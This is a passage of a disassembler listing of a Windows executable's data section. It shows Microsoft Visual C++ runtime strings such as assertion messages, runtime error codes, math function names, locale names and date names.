__fseek_lk+19o aStrupr_c db 'strupr.c',0 ; DATA XREF: __strupr+133o align 4 aMbstowcs_c db 'mbstowcs.c',0 ; DATA XREF: __mbstowcs_lk+32o align 10h ; char aSNull[] aSNull db 's != NULL',0 ; DATA XREF: __mbstowcs_lk+29o align 10h dword_43DDE0 dd 0FFFFFFFFh ; DATA XREF: start+5o dd offset sub_423052 dd offset sub_42306D a_file_c db '_file.c',0 ; DATA XREF: ___initstdio+31o ; ___initstdio+65o aAssertionFai_1 db 'Assertion Failed',0 ; DATA XREF: .data:00452D0Co align 4 aError db 'Error',0 ; DATA XREF: .data:00452D08o align 10h aWarning db 'Warning',0 ; DATA XREF: .data:off_452D04o ; char aSDS_0[] aSDS_0 db '%s(%d) : %s',0 ; DATA XREF: __CrtDbgReport+1FFo ; char asc_43DE24[] asc_43DE24: ; DATA XREF: __CrtDbgReport:loc_423606o dw 0Ah unicode 0, <>,0 ; char asc_43DE28[] asc_43DE28: ; DATA XREF: __CrtDbgReport+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: __CrtDbgReport:loc_4235A5o align 10h aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: __CrtDbgReport+169o align 4 ; char a_crtdbgreportS[] a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: __CrtDbgReport+149o ; __CrtDbgReport+21Co ... align 10h aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: __CrtDbgReport+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: __CrtDbgReport+B6o align 10h aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: __CrtDbgReport+9Co ; ___crtMessageBoxA+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: _CrtMessageWindow+2C2o align 10h ; char aDebugSProgramS[] aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: _CrtMessageWindow+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: _CrtMessageWindow+221o db 'Module: ',0 align 10h aFile_1 db 0Ah ; DATA XREF: _CrtMessageWindow+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: _CrtMessageWindow+1AAo db 'Line: ',0 ; char asc_43DF60[] asc_43DF60 db 0Ah ; DATA XREF: _CrtMessageWindow+173o ; __NMSG_WRITE+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: _CrtMessageWindow+153o align 4 dword_43DF74 dd 0 ; DATA XREF: _CrtMessageWindow:loc_4238DAo ; _CrtMessageWindow:loc_4238F9o ... aForInformation db 0Ah ; DATA XREF: _CrtMessageWindow+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: _CrtMessageWindow+9Co ; _CrtMessageWindow+F4o ... ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: _CrtMessageWindow+56o ; __NMSG_WRITE+EDo align 4 aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: _CrtMessageWindow+1Fo align 4 ; char aSzusermessageN[] aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: _CrtMessageWindow+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: __freebuf+15o align 4 aMlock_c db 'mlock.c',0 ; DATA XREF: __lock+16o dword_43E040 dd 0FFFFFFFFh, 0 ; DATA XREF: __heap_alloc_base+5o dd offset sub_424345 dd 0FFFFFFFFh, 0 dd offset sub_4243C7 dword_43E058 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424440+5o dd offset sub_4244E1 dd 0FFFFFFFFh, 0 dd offset sub_4245DA dword_43E070 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424650+5o dd offset sub_424818 dd 0FFFFFFFFh, 0 dd offset sub_424A2F dword_43E088 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_424AF0+5o dd offset sub_424B6B dd 0FFFFFFFFh, 0 dd offset sub_424BED dword_43E0A0 dd 0FFFFFFFFh, 0 ; DATA XREF: unknown_libname_6+5o dd offset sub_424CA2 dd 0FFFFFFFFh, 0 dd offset sub_424CE7 ; char Str1[] Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_427AB0+B9o align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_427AB0+5Ao align 4 a_filbuf_c db '_filbuf.c',0 ; DATA XREF: __filbuf+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: __openfile+2Eo ; __openfile+58o ... ; char aFilenameNull[] aFilenameNull db 'filename != NULL',0 ; DATA XREF: __openfile+25o align 10h aStream_c db 'stream.c',0 ; DATA XREF: __getstream+C1o align 4 ; char aInconsistentIo[] aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: __flsbuf+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: __flsbuf+18o ; __flsbuf+16Eo align 4 byte_43E168 db 6 ; DATA XREF: sub_428D80+96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_455020o unicode 0, <(null)>,0 align 4 aNull db '(null)',0 ; DATA XREF: .data:off_45501Co align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_428D80+129o ; sub_428D80+6A2o align 4 ; char aCh_t0[] aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_428D80+11Do align 4 aTidtable_c db 'tidtable.c',0 ; DATA XREF: __mtinit+23o __getptd+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: __stbuf+18o __stbuf+B2o ... align 10h ; char aFlag0Flag1[] aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: __ftbuf+13o align 4 aInput_c db 'input.c',0 ; DATA XREF: unknown_libname_7+1Eo ; unknown_libname_7+4Bo a_yn db '_yn',0 ; DATA XREF: .data:0045536Co a_y1 db '_y1',0 ; DATA XREF: .data:00455364o a_y0 db '_y0',0 ; DATA XREF: .data:0045535Co aFrexp db 'frexp',0 ; DATA XREF: .data:00455354o align 4 aFmod db 'fmod',0 ; DATA XREF: .data:0045534Co align 4 a_hypot db '_hypot',0 ; DATA XREF: .data:off_455344o align 4 a_cabs db '_cabs',0 ; DATA XREF: .data:0045533Co align 4 aLdexp db 'ldexp',0 ; DATA XREF: .data:00455334o align 4 aModf db 'modf',0 ; DATA XREF: .data:0045532Co align 4 aFabs db 'fabs',0 ; DATA XREF: .data:00455324o align 4 aFloor db 'floor',0 ; DATA XREF: .data:0045531Co align 4 aCeil db 'ceil',0 ; DATA XREF: .data:00455314o align 4 aTan db 'tan',0 ; DATA XREF: .data:0045530Co aCos db 'cos',0 ; DATA XREF: .data:00455304o aSin db 'sin',0 ; DATA XREF: .data:004552FCo aSqrt db 'sqrt',0 ; DATA XREF: .data:004552F4o align 4 aAtan2 db 'atan2',0 ; DATA XREF: .data:004552ECo align 10h aAtan db 'atan',0 ; DATA XREF: .data:004552E4o align 4 aAcos db 'acos',0 ; DATA XREF: .data:004552DCo align 10h aAsin db 'asin',0 ; DATA XREF: .data:004552D4o align 4 aTanh db 'tanh',0 ; DATA XREF: .data:004552CCo align 10h aCosh db 'cosh',0 ; DATA XREF: .data:004552C4o align 4 aSinh db 'sinh',0 ; DATA XREF: .data:004552BCo align 10h aLog10 db 'log10',0 ; DATA XREF: .data:004552B4o align 4 aLog_0 db 'log',0 ; DATA XREF: .data:004552ACo aPow db 'pow',0 ; DATA XREF: .data:004552A4o aExp db 'exp',0 ; DATA XREF: .data:off_45529Co align 8 dbl_43E2E8 dq 0.0 ; DATA XREF: __handle_exc+D7r ; __handle_exc+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdiv+6o align 4 ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe2:loc_42D638o align 10h dword_43E320 dd 0FFFFFFFFh ; DATA XREF: ___FrameUnwindToState+5o dd offset loc_42E069 dd offset loc_42E076 align 10h dword_43E330 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o dd offset sub_42E29D align 10h dd offset loc_42E25E dd offset loc_42E26B dword_43E348 dd 0FFFFFFFFh ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o dd offset loc_42E5BC dd offset loc_42E5C2 align 8 dword_43E358 dd 0FFFFFFFFh ; DATA XREF: _DestructExceptionObject(EHExceptionRecord *,uchar)+5o dd offset loc_42E63E dd offset loc_42E64D align 8 dword_43E368 dd 0FFFFFFFFh, 0 ; DATA XREF: terminate(void)+5o dd offset j__abort align 8 dd offset loc_42E760 dd offset loc_42E766 dword_43E380 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42E7C0+5o dd offset j_?terminate@@YAXXZ ; terminate(void) align 10h dd offset loc_42E80C dd offset loc_42E812 aLc_time db 'LC_TIME',0 ; DATA XREF: .data:0045551Co aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .data:00455510o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .data:00455504o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .data:004554F8o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:004554ECo align 10h aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_4554E0o align 4 ; char asc_43E3D8[] asc_43E3D8 db ';',0 ; DATA XREF: _setlocale:loc_42EAF3o ; __setlocale_get_all+83o align 4 asc_43E3DC db '=;',0 ; DATA XREF: _setlocale:loc_42EA21o align 10h aSetlocal_c db 'setlocal.c',0 ; DATA XREF: __setlocale_set_cat+3Eo ; __setlocale_get_all+1Bo align 4 asc_43E3EC: ; DATA XREF: __setlocale_get_all+5Bo unicode 0, <=>,0 ; char Control[] Control db '_.,',0 ; DATA XREF: ___lc_strtolc:loc_42F232o ; char a__4[] a__4: ; DATA XREF: ___lc_lctostr+50o ; ___init_numeric:loc_43539Bo unicode 0, <.>,0 a__5: ; DATA XREF: ___lc_lctostr+25o unicode 0, <_>,0 aFtell_c db 'ftell.c',0 ; DATA XREF: _ftell+16o __ftell_lk+18o dword_43E404 dd 0 ; DATA XREF: ___crtLCMapStringA+5Do ; ___crtGetStringTypeA+58o ... dword_43E408 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+35o ; ___crtGetStringTypeA+35o ... dword_43E410 dd 0FFFFFFFFh ; DATA XREF: ___crtLCMapStringA+5o dd offset loc_42FC46 dd offset loc_42FC4C dd 0FFFFFFFFh dd offset loc_42FD3C dd offset loc_42FD42 aStdenvp_c db 'stdenvp.c',0 ; DATA XREF: __setenvp+5Bo ; __setenvp+D0o align 4 aStdargv_c db 'stdargv.c',0 ; DATA XREF: __setargv+72o align 10h aA_env_c db 'a_env.c',0 ; DATA XREF: ___crtGetEnvironmentStringsA+E8o ; ___crtGetEnvironmentStringsA+1C6o aIoinit_c db 'ioinit.c',0 ; DATA XREF: __ioinit+Bo __ioinit+106o align 4 aRuntimeError db 'runtime error ',0 ; DATA XREF: .data:00455664o align 4 asc_43E464 db 0Dh,0Ah,0 ; DATA XREF: .data:0045565Co align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 ; DATA XREF: .data:00455654o align 4 aSingError db 'SING error',0Dh,0Ah,0 ; DATA XREF: .data:0045564Co align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 ; DATA XREF: .data:00455644o align 4 aR6028UnableToI db 'R6028',0Dh,0Ah ; DATA XREF: .data:0045563Co db '- unable to initialize heap',0Dh,0Ah,0 align 10h aR6027NotEnough db 'R6027',0Dh,0Ah ; DATA XREF: .data:00455634o db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah ; DATA XREF: .data:0045562Co db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah ; DATA XREF: .data:00455624o db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah ; DATA XREF: .data:0045561Co db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah ; DATA XREF: .data:00455614o db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah ; DATA XREF: .data:0045560Co db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah ; DATA XREF: .data:00455604o db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah ; DATA XREF: .data:004555FCo db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah ; DATA XREF: .data:004555F4o db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah ; DATA XREF: .data:004555ECo db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah ; DATA XREF: .data:004555E4o db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_4555DCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+1A4o align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE:loc_430F2Ao db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: .text:00431501o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA:loc_43199Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: __alloc_osfhnd+138o align 10h dword_43E770 dd 0FFFFFFFFh ; DATA XREF: ___crtGetStringTypeA+5o dd offset loc_432204 dd offset loc_43220A a_getbuf_c db '_getbuf.c',0 ; DATA XREF: __getbuf+16o __getbuf+48o align 4 aMbtowc_c db 'mbtowc.c',0 ; DATA XREF: __mbtowc_lk+21o align 4 ; char aMb_cur_max1Mb_[] aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: __mbtowc_lk+18o align 4 aUngetc_c db 'ungetc.c',0 ; DATA XREF: _ungetc+16o _ungetc_0+16o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: __tzset_lk+1D1o ; char VarName[] VarName db 'TZ',0 ; DATA XREF: __tzset_lk+35o align 10h aInittime_c db 'inittime.c',0 ; DATA XREF: ___init_time+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: ___init_numeric+1CFo ; ___init_numeric+215o ... align 4 aInitmon_c db 'initmon.c',0 ; DATA XREF: ___init_monetary+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: unknown_libname_24+52o ; unknown_libname_24+6Bo ... align 10h aParaguay db 'Paraguay',0 ; DATA XREF: .data:00455C5Co align 4 aUruguay db 'Uruguay',0 ; DATA XREF: .data:00455C30o aChile db 'Chile',0 ; DATA XREF: .data:00455C04o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: .data:00455BD8o aArgentina db 'Argentina',0 ; DATA XREF: .data:00455BACo align 10h aPeru db 'Peru',0 ; DATA XREF: .data:00455B80o align 4 aColombia db 'Colombia',0 ; DATA XREF: .data:00455B54o align 4 aVenezuela db 'Venezuela',0 ; DATA XREF: .data:00455B28o align 10h aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:00455AFCo align 4 aSouthAfrica db 'South Africa',0 ; DATA XREF: .data:00455AD0o align 4 aPanama db 'Panama',0 ; DATA XREF: .data:00455AA4o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: .data:00455A78o align 4 aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:00455A4Co align 4 aSwitzerland db 'Switzerland',0 ; DATA XREF: .data:00455A20o aGuatemala db 'Guatemala',0 ; DATA XREF: .data:004559F4o align 4 aCanada db 'Canada',0 ; DATA XREF: .data:004559C8o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00455994o align 4 aAustralia db 'Australia',0 ; DATA XREF: .data:00455970o align 4 aEnglish db 'English',0 ; DATA XREF: .data:00455968o ; .data:00455AC8o aAustria db 'Austria',0 ; DATA XREF: .data:00455944o aGerman db 'German',0 ; DATA XREF: .data:0045593Co align 10h aBelgium db 'Belgium',0 ; DATA XREF: .data:00455918o aMexico db 'Mexico',0 ; DATA XREF: .data:004558ECo align 10h aSpanish db 'Spanish',0 ; DATA XREF: .data:004558E4o ; .data:004559ECo ... aBasque db 'Basque',0 ; DATA XREF: .data:004558B8o align 10h aSweden db 'Sweden',0 ; DATA XREF: .data:00455894o align 4 aSwedish db 'Swedish',0 ; DATA XREF: .data:0045588Co aIceland db 'Iceland',0 ; DATA XREF: .data:00455868o aIcelandic db 'Icelandic',0 ; DATA XREF: .data:00455860o align 4 aFrance db 'France',0 ; DATA XREF: .data:0045583Co align 4 aFrench db 'French',0 ; DATA XREF: .data:00455834o ; .data:00455910o ... align 4 aFinland db 'Finland',0 ; DATA XREF: .data:00455810o aFinnish db 'Finnish',0 ; DATA XREF: .data:00455808o aSpain db 'Spain',0 ; DATA XREF: .data:off_4557E4o ; .data:004558C0o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_4557DCo align 4 aUnitedStates db 'united-states',0 ; DATA XREF: .data:00455D30o align 4 aUnitedKingdom db 'united-kingdom',0 ; DATA XREF: .data:00455D28o align 4 aTrinidadTobago db 'trinidad & tobago',0 ; DATA XREF: .data:00455D18o align 4 aSouthKorea db 'south-korea',0 ; DATA XREF: .data:00455D10o aSouthAfrica_0 db 'south-africa',0 ; DATA XREF: .data:00455D08o align 4 aSouthKorea_0 db 'south korea',0 ; DATA XREF: .data:00455D00o aSouthAfrica_1 db 'south africa',0 ; DATA XREF: .data:00455CF8o align 4 aSlovak db 'slovak',0 ; DATA XREF: .data:00455CF0o align 4 aPuertoRico db 'puerto-rico',0 ; DATA XREF: .data:00455CE8o aPrChina db 'pr-china',0 ; DATA XREF: .data:00455CE0o align 4 aPrChina_0 db 'pr china',0 ; DATA XREF: .data:00455CD8o align 10h aNz db 'nz',0 ; DATA XREF: .data:00455CD0o align 4 aNewZealand db 'new-zealand',0 ; DATA XREF: .data:00455CC8o aHongKong db 'hong-kong',0 ; DATA XREF: .data:00455CC0o align 4 aHolland db 'holland',0 ; DATA XREF: .data:00455CB8o aGreatBritain db 'great britain',0 ; DATA XREF: .data:00455CB0o align 4 aEngland db 'england',0 ; DATA XREF: .data:00455CA8o aCzech db 'czech',0 ; DATA XREF: .data:00455CA0o align 4 aChina db 'china',0 ; DATA XREF: .data:00455C98o align 4 aBritain db 'britain',0 ; DATA XREF: .data:00455C90o aAmerica db 'america',0 ; DATA XREF: .data:off_455C88o aUsa db 'usa',0 ; DATA XREF: .data:00455F40o aUs db 'us',0 ; DATA XREF: .data:00455D38o ; .data:00455F38o align 4 aUk db 'uk',0 ; DATA XREF: .data:00455D20o ; .data:00455F30o align 4 aSwiss db 'swiss',0 ; DATA XREF: .data:00455F28o align 10h aSwedishFinland db 'swedish-finland',0 ; DATA XREF: .data:00455F20o aSpanishVenezue db 'spanish-venezuela',0 ; DATA XREF: .data:00455F18o align 4 aSpanishUruguay db 'spanish-uruguay',0 ; DATA XREF: .data:00455F10o aSpanishPuertoR db 'spanish-puerto rico',0 ; DATA XREF: .data:00455F08o aSpanishPeru db 'spanish-peru',0 ; DATA XREF: .data:00455F00o align 4 aSpanishParagua db 'spanish-paraguay',0 ; DATA XREF: .data:00455EF8o align 4 aSpanishPanama db 'spanish-panama',0 ; DATA XREF: .data:00455EF0o align 4 aSpanishNicarag db 'spanish-nicaragua',0 ; DATA XREF: .data:00455EE8o align 10h aSpanishModern db 'spanish-modern',0 ; DATA XREF: .data:00455EE0o align 10h aSpanishMexican db 'spanish-mexican',0 ; DATA XREF: .data:00455ED8o aSpanishHondura db 'spanish-honduras',0 ; DATA XREF: .data:00455ED0o align 4 aSpanishGuatema db 'spanish-guatemala',0 ; DATA XREF: .data:00455EC8o align 4 aSpanishElSalva db 'spanish-el salvador',0 ; DATA XREF: .data:00455EC0o aSpanishEcuador db 'spanish-ecuador',0 ; DATA XREF: .data:00455EB8o aSpanishDominic db 'spanish-dominican republic',0 ; DATA XREF: .data:00455EB0o align 4 aSpanishCostaRi db 'spanish-costa rica',0 ; DATA XREF: .data:00455EA8o align 4 aSpanishColombi db 'spanish-colombia',0 ; DATA XREF: .data:00455EA0o align 10h aSpanishChile db 'spanish-chile',0 ; DATA XREF: .data:00455E98o align 10h aSpanishBolivia db 'spanish-bolivia',0 ; DATA XREF: .data:00455E90o aSpanishArgenti db 'spanish-argentina',0 ; DATA XREF: .data:00455E88o align 4 aPortugueseBraz db 'portuguese-brazilian',0 ; DATA XREF: .data:00455E80o align 4 aNorwegianNynor db 'norwegian-nynorsk',0 ; DATA XREF: .data:00455E78o align 10h aNorwegianBokma db 'norwegian-bokmal',0 ; DATA XREF: .data:00455E70o align 4 aNorwegian db 'norwegian',0 ; DATA XREF: .data:00455E68o align 10h aItalianSwiss db 'italian-swiss',0 ; DATA XREF: .data:00455E60o align 10h aIrishEnglish db 'irish-english',0 ; DATA XREF: .data:00455E58o align 10h aGermanSwiss db 'german-swiss',0 ; DATA XREF: .data:00455E50o align 10h aGermanLuxembou db 'german-luxembourg',0 ; DATA XREF: .data:00455E48o align 4 aGermanLichtens db 'german-lichtenstein',0 ; DATA XREF: .data:00455E40o aGermanAustrian db 'german-austrian',0 ; DATA XREF: .data:00455E38o aFrenchSwiss db 'french-swiss',0 ; DATA XREF: .data:00455E30o align 4 aFrenchLuxembou db 'french-luxembourg',0 ; DATA XREF: .data:00455E28o align 4 aFrenchCanadian db 'french-canadian',0 ; DATA XREF: .data:00455E20o aFrenchBelgian db 'french-belgian',0 ; DATA XREF: .data:00455E18o align 4 aEnglishUsa db 'english-usa',0 ; DATA XREF: .data:00455E10o aEnglishUs db 'english-us',0 ; DATA XREF: .data:00455E08o align 4 aEnglishUk db 'english-uk',0 ; DATA XREF: .data:00455E00o align 10h aEnglishTrinida db 'english-trinidad y tobago',0 ; DATA XREF: .data:00455DF8o align 4 aEnglishSouthAf db 'english-south africa',0 ; DATA XREF: .data:00455DF0o align 4 aEnglishNz db 'english-nz',0 ; DATA XREF: .data:00455DE8o align 10h aEnglishJamaica db 'english-jamaica',0 ; DATA XREF: .data:00455DE0o aEnglishIre db 'english-ire',0 ; DATA XREF: .data:00455DD8o aEnglishCaribbe db 'english-caribbean',0 ; DATA XREF: .data:00455DD0o align 10h aEnglishCan db 'english-can',0 ; DATA XREF: .data:00455DC8o aEnglishBelize db 'english-belize',0 ; DATA XREF: .data:00455DC0o align 4 aEnglishAus db 'english-aus',0 ; DATA XREF: .data:00455DB8o aEnglishAmerica db 'english-american',0 ; DATA XREF: .data:00455DB0o align 4 aDutchBelgian db 'dutch-belgian',0 ; DATA XREF: .data:00455DA8o align 4 aChineseTraditi db 'chinese-traditional',0 ; DATA XREF: .data:00455DA0o aChineseSingapo db 'chinese-singapore',0 ; DATA XREF: .data:00455D98o align 4 aChineseSimplif db 'chinese-simplified',0 ; DATA XREF: .data:00455D90o align 4 aChineseHongkon db 'chinese-hongkong',0 ; DATA XREF: .data:00455D88o align 4 aChinese db 'chinese',0 ; DATA XREF: .data:00455D80o aChi db 'chi',0 ; DATA XREF: .data:00455D78o aChh db 'chh',0 ; DATA XREF: .data:00455D70o aCanadian db 'canadian',0 ; DATA XREF: .data:00455D68o align 4 aBelgian db 'belgian',0 ; DATA XREF: .data:00455D60o aAustralian db 'australian',0 ; DATA XREF: .data:00455D58o align 4 aAmericanEnglis db 'american-english',0 ; DATA XREF: .data:00455D50o align 10h aAmericanEngl_0 db 'american english',0 ; DATA XREF: .data:00455D48o align 4 aAmerican db 'american',0 ; DATA XREF: .data:off_455D40o align 10h ; char aOcp[] aOcp db 'OCP',0 ; DATA XREF: _ProcessCodePage:loc_436703o ; char aAcp[] aAcp db 'ACP',0 ; DATA XREF: _ProcessCodePage+16o aChsize_c db 'chsize.c',0 ; DATA XREF: __chsize_lk+38o align 4 ; char aSize0[] aSize0 db 'size >= 0',0 ; DATA XREF: __chsize_lk+2Co align 10h ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_437FDFo align 4 ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+19Bo align 10h ; char a1Ind[] a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+168o align 4 ; char a1Snan[] a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+125o align 10h aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00455FF8o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00455FF4o aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00455FF0o align 4 aPm_2 db 'PM',0 ; DATA XREF: .data:00455FECo align 4 aAm_0 db 'AM',0 ; DATA XREF: .data:00455FE8o align 4 aDecember db 'December',0 ; DATA XREF: .data:00455FE4o align 4 aNovember db 'November',0 ; DATA XREF: .data:00455FE0o align 4 aOctober db 'October',0 ; DATA XREF: .data:00455FDCo aSeptember db 'September',0 ; DATA XREF: .data:00455FD8o align 4 aAugust db 'August',0 ; DATA XREF: .data:00455FD4o align 10h aJuly db 'July',0 ; DATA XREF: .data:00455FD0o align 4 aJune db 'June',0 ; DATA XREF: .data:00455FCCo align 10h aApril db 'April',0 ; DATA XREF: .data:00455FC4o align 4 aMarch db 'March',0 ; DATA XREF: .data:00455FC0o align 10h aFebruary db 'February',0 ; DATA XREF: .data:00455FBCo align 4 aJanuary db 'January',0 ; DATA XREF: .data:00455FB8o aDec db 'Dec',0 ; DATA XREF: .data:00455FB4o aNov db 'Nov',0 ; DATA XREF: .data:00455FB0o aOct db 'Oct',0 ; DATA XREF: .data:00455FACo aSep db 'Sep',0 ; DATA XREF: .data:00455FA8o aAug db 'Aug',0 ; DATA XREF: .data:00455FA4o aJul db 'Jul',0 ; DATA XREF: .data:00455FA0o aJun db 'Jun',0 ; DATA XREF: .data:00455F9Co aMay db 'May',0 ; DATA XREF: .data:00455F98o ; .data:00455FC8o aApr db 'Apr',0 ; DATA XREF: .data:00455F94o aMar db 'Mar',0 ; DATA XREF: .data:00455F90o aFeb db 'Feb',0 ; DATA XREF: .data:00455F8Co aJan db 'Jan',0 ; DATA XREF: .data:00455F88o aSaturday db 'Saturday',0 ; DATA XREF: .data:00455F84o align 10h aFriday db 'Friday',0 ; DATA XREF: .data:00455F80o align 4 aThursday db 'Thursday',0 ; DATA XREF: .data:00455F7Co align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .data:00455F78o align 10h aTuesday db 'Tuesday',0 ; DATA XREF: .data:00455F74o aMonday db 'Monday',0 ; DATA XREF: .data:00455F70o align 10h aSunday db 'Sunday',0 ; DATA XREF: .data:00455F6Co align 4 aSat db 'Sat',0 ; DATA XREF: .data:00455F68o aFri db 'Fri',0 ; DATA XREF: .data:00455F64o aThu db 'Thu',0 ; DATA XREF: .data:00455F60o aWed db 'Wed',0 ; DATA XREF: .data:00455F5Co aTue db 'Tue',0 ; DATA XREF: .data:00455F58o aMon db 'Mon',0 ; DATA XREF: .data:00455F54o aSun db 'Sun',0 ; DATA XREF: .data:off_455F50o ; char aAP[] aAP db 'a/p',0 ; DATA XREF: sub_439390:loc_439583o ; char aAmPm[] aAmPm db 'am/pm',0 ; DATA XREF: sub_439390:loc_439563o align 10h aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_439950+9Co ; sub_439950+F1o align 10h dword_43F040 dd 0FFFFFFFFh ; DATA XREF: ___crtGetStringTypeW+5o dd offset loc_439D17 dd offset loc_439D1D dd 0FFFFFFFFh dd offset loc_439D96 dd offset loc_439D9C aWtombenv_c db 'wtombenv.c',0 ; DATA XREF: ___wtomb_environ+44o align 8 dword_43F068 dd 0FFFFFFFFh ; DATA XREF: ___crtGetLocaleInfoW+5o dd offset loc_43A7CD dd offset loc_43A7D3 align 8 dword_43F078 dd 0FFFFFFFFh ; DATA XREF: ___crtGetLocaleInfoA+5o dd offset loc_43A96F dd offset loc_43A975 aA_cmp_c db 'a_cmp.c',0 ; DATA XREF: ___crtCompareStringA+17Fo ; char aCchcount10Cchc[] aCchcount10Cchc db 'cchCount1==0 && 